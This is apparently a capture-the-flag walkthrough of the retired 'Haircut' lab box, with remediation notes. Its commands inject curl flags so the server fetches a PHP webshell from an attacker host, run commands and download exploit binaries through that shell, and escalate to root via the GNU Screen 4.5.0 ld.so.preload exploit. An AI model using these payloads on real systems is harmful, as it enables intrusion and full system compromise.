Haircut
Summary
I scanned port 80 on $TARGET and found a 'Hairdresser checker' web application whose remote-fetch feature passed user-supplied input directly to a server-side curl call. By appending curl output flags to the URL parameter, I directed the server to fetch a PHP webshell from my own host and save it into the web-accessible /uploads/ directory — giving unauthenticated remote code execution as the www-data web-server account.
The user flag was read from disk through the webshell without ever needing a full interactive shell. For root, a standard SUID sweep revealed GNU Screen 4.5.0 installed with the setuid-root bit set.
Abusing the known CVE-2017-5618 exploit, I used Screen's session-log flag to write /etc/ld.so.preload as root, loading a pre-compiled malicious shared library that made a companion binary setuid root. Executing that binary produced a root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Service-version scan; -sC runs default scripts for SSH and HTTP banner grabbing.
$ nmap -Pn -sV -sC -p22,80 $TARGET
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http nginx 1.10.0Exact commands 2
Brute-force directory names against the nginx root.
$ ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403Inspect the form structure and confirm the formurl parameter name.
$ curl -i http://$TARGET/exposed.phpExact commands 3
Create the PHP one-liner webshell on my machine.
$ printf '%s' '<?php system($_REQUEST["cmd"]); ?>' > shell.phpServe the webshell from my host ($ATTACKER_IP); leave running in background.
$ python3 -m http.server 8080The ' -o uploads/shell.php' suffix is parsed by server-side curl as an output-path flag, writing the fetched payload into the web root.
$ curl -sS -X POST http://$TARGET/exposed.php --data-urlencode "formurl=http://$ATTACKER_IP:8080/shell.php -o uploads/shell.php" -d 'submit=Go'FixSanitise the remote-fetch endpoint: whitelist domains and strip command-line flags from the URL inputCritical
Exact commands 2
Confirm RCE identity and OS version.
$ curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=id; uname -a; hostname; pwd'
uid=33(www-data) gid=33(www-data)Read the user flag; value is <user.txt>.
$ curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cat /home/maria/user.txt'FixDisable PHP execution inside the /uploads/ directoryHigh
Exact commands 2
List every SUID-root binary on the target via the webshell.
$ curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null'Pull the GNU Screen 4.5.0 local privilege escalation exploit to my machine for review.
$ searchsploit -m 41154FixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseCritical
Exact commands 5
Cross-compile the constructor shared library on my Kali host; libhax.c source is in Exploit-DB 41154.
$ gcc -fPIC -shared -ldl -o libhax.so libhax.cCross-compile the setuid-shell dropper on my Kali host; rootshell.c source is in Exploit-DB 41154.
$ gcc -o rootshell rootshell.cDeliver the pre-compiled exploit artifacts to /tmp/ via the webshell.
$ curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode "cmd=cd /tmp; curl -s http://$ATTACKER_IP:8080/libhax.so -o /tmp/libhax.so; curl -s http://$ATTACKER_IP:8080/rootshell -o /tmp/rootshell; chmod 755 /tmp/libhax.so /tmp/rootshell"Write /tmp/libhax.so into /etc/ld.so.preload via Screen's log flag, then trigger Screen to load it as root. The libhax.so constructor makes rootshell setuid root.
$ curl -sS --max-time 40 --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cd /etc; umask 000; /usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"; /usr/bin/screen-4.5.0 -ls'Execute the now-setuid rootshell; id should show uid=0(root); root.txt value is <root.txt>.
$ curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=/tmp/rootshell -p -c "id; cat /root/root.txt"'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.